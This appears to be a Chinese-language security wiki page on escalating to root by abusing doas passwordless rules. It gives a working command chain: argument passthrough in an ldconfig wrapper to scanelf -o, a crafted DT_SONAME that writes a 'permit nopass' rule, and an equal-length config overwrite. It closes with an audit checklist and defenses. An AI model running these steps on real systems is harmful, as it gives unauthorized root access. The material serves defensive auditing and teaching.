跳到主要内容

doas 免密配置滥用提权

doas 是 OpenBSD 风格的精简 sudo,Alpine 等发行版常见。它没有 sudo -l 这类枚举入口,配置位于 /etc/doas.d/。当免密白名单里存在带写原语的包装脚本,或能对配置文件做等长覆写时,可以直接写入 permit nopass 规则拿到 root。

仅限授权环境

覆写 doas 配置一旦语法错误,可能导致 doas 拒绝工作。仅在授权环境操作,先备份原配置,等长覆写时保持规则行长度一致。


枚举免密规则

sudo -l 不适用于 doas,用 doas -n <cmd> 逐个探测:-n 表示非交互,需要密码时直接失败退出,因此能成功执行即说明免密:

doas -n /sbin/ldconfig

利用链 A:ldconfig 透传 scanelf 任意写

  1. doas 免密允许 /sbin/ldconfig
  2. 该包装脚本用 getopts 解析参数,遇到 -- 之后的参数直传内部命令 scanelf
  3. scanelf -o <file> 会以 root 身份把扫描输出写入任意文件:
doas -n /sbin/ldconfig -- -v -o /etc/doas.d/xx.conf

写入路径可控,但内容来自扫描结果,需要构造扫描输入让输出恰好成为 doas 规则。

用 DT_SONAME 控制写入内容

编译 ELF 时注入 DT_SONAME,让 SONAME 行本身就是一条 doas 规则:

gcc -Wl,-soname,'permit nopass <user> as root #' -o evil.so evil.c

scanelf 输出 SONAME 行时,行尾的 # 把该行剩余内容变成注释,落盘文件里恰好多出一行合法规则加注释:

permit nopass <user> as root #

规则生效后直接拿 root:

doas -n /bin/sh

利用链 B:等长覆写配置

具备 disk 组裸盘读写这类写原语时,可以对 doas 配置做等长覆写:把 permit persist :wheel 改成 permit nopass <user>,用空格补齐长度,不破坏文件布局。


审计清单

  1. /etc/doas.d/ 下配置文件属主与权限是否为 root 644。
  2. permit 行是否最小化,是否存在宽泛的 nopass 规则。
  3. 免密包装脚本(如 ldconfig)是否向内部命令透传参数。
  4. scanelf -o 类输出重定向参数是否可达任意路径。

防御建议

  1. doas.conf 保持 root 644。
  2. permit 行最小化,避免对脚本类程序免密。
  3. 审计 ldconfig、scanelf 等包装脚本,禁止参数直传与输出落盘。
  4. 监控 doas 配置文件的变更。